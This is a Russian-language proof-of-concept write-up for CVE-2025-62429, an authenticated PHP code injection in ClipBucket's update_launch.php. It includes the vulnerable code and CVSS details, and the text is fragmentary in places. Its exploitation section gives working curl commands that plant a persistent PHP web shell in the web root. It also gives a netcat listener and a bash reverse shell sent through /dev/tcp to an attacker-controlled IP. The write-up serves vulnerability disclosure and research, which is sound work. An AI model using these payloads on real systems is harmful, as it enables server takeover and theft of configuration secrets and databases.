
CVE-2025-62429 | clipbucket RCE
Proof-of-Concept для RCE через внедрение PHP-кода в update_launch.php
Раскрытие: Первоначально сообщено мной через GHSA-3h9c-7j8r-xc3v
⚠️ Только для авторизованного пентеста/исследований.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2025-62429 |
| Серьёзность | 🔴 Высокая |
| Оценка CVSS | 7.2 |
| Вектор CVSS | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-78: внедрение команд ОС, CWE-94: внедрение кода |
| Затронутый продукт | ClibBucket <= 5.5.3 - #79 |
| Исправленная версия | 5.5.3 - #80 |
| Уведомление об уязвимости | GHSA-3h9c-7j8r-xc3v |
В ClipBucket v5.5.3-61 существует уязвимость аутентифицированного удалённого выполнения кода (RCE). Уязвимость классифицируется как CWE-94: некорректный контроль генерации кода ('внедрение кода'). Приложение не выполняет надлежащую очистку вводимых пользователем данных, используемых для генерации исполняемого PHP-кода в update_launch.php. Аутентифицированный администратор может использовать эту уязвимость для полного выполнения команд на сервере, повышая привилегии с веб-администратора до системного пользователя (например, containeruser).
Уязвимость находится в upload/admin_area/actions/update_launch.php. Этот скрипт обеспечивает обновление системы, динамически генерируя временный фоновый PHP-скрипт.
Фрагмент уязвимого кода: upload/admin_area/actions/update_launch.php (строки 40-86)
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
Механизм эксплуатации:
Поскольку параметр type конкатенируется в строку $data без экранирования или очистки, злоумышленник может использовать одинарную кавычку ('), чтобы выйти из контекста строкового литерала. Затем он может внедрить произвольные PHP-функции (такие как system() или file_put_contents()) и закомментировать остальную часть исходного кода с помощью //. В результате выполняется код, предоставленный злоумышленником, с привилегиями процесса PHP-CLI.
PHPSESSID.
Сначала продемонстрируем уязвимость, развернув постоянный веб-шелл в корневом каталоге веб-сервера.
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...
После подтверждения RCE устанавливается интерактивный шелл для пост-эксплуатации.
nc -lvnp 4444
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
Машина атакующего получает соединение, предоставляющее полный интерактивный доступ к шеллу под пользователем containeruser.
Успешная эксплуатация позволяет атакующему выполнять произвольные системные команды. Это приводит к:
config.inc.php) и всей базы данных.Эта проблема связана с ранее раскрытой уязвимостью:
При дальнейшем анализе было установлено, что уязвимость сохраняется в ClipBucket v5.5.3 из-за неполного исправления.
Хотя исходное уведомление закрывало часть проблемы, вектор внедрения PHP-кода через параметр type в update_launch.php оставался эксплуатируемым.
Данное уведомление содержит дополнительные технические детали, проверку на последней версии и полный сквозной сценарий эксплуатации.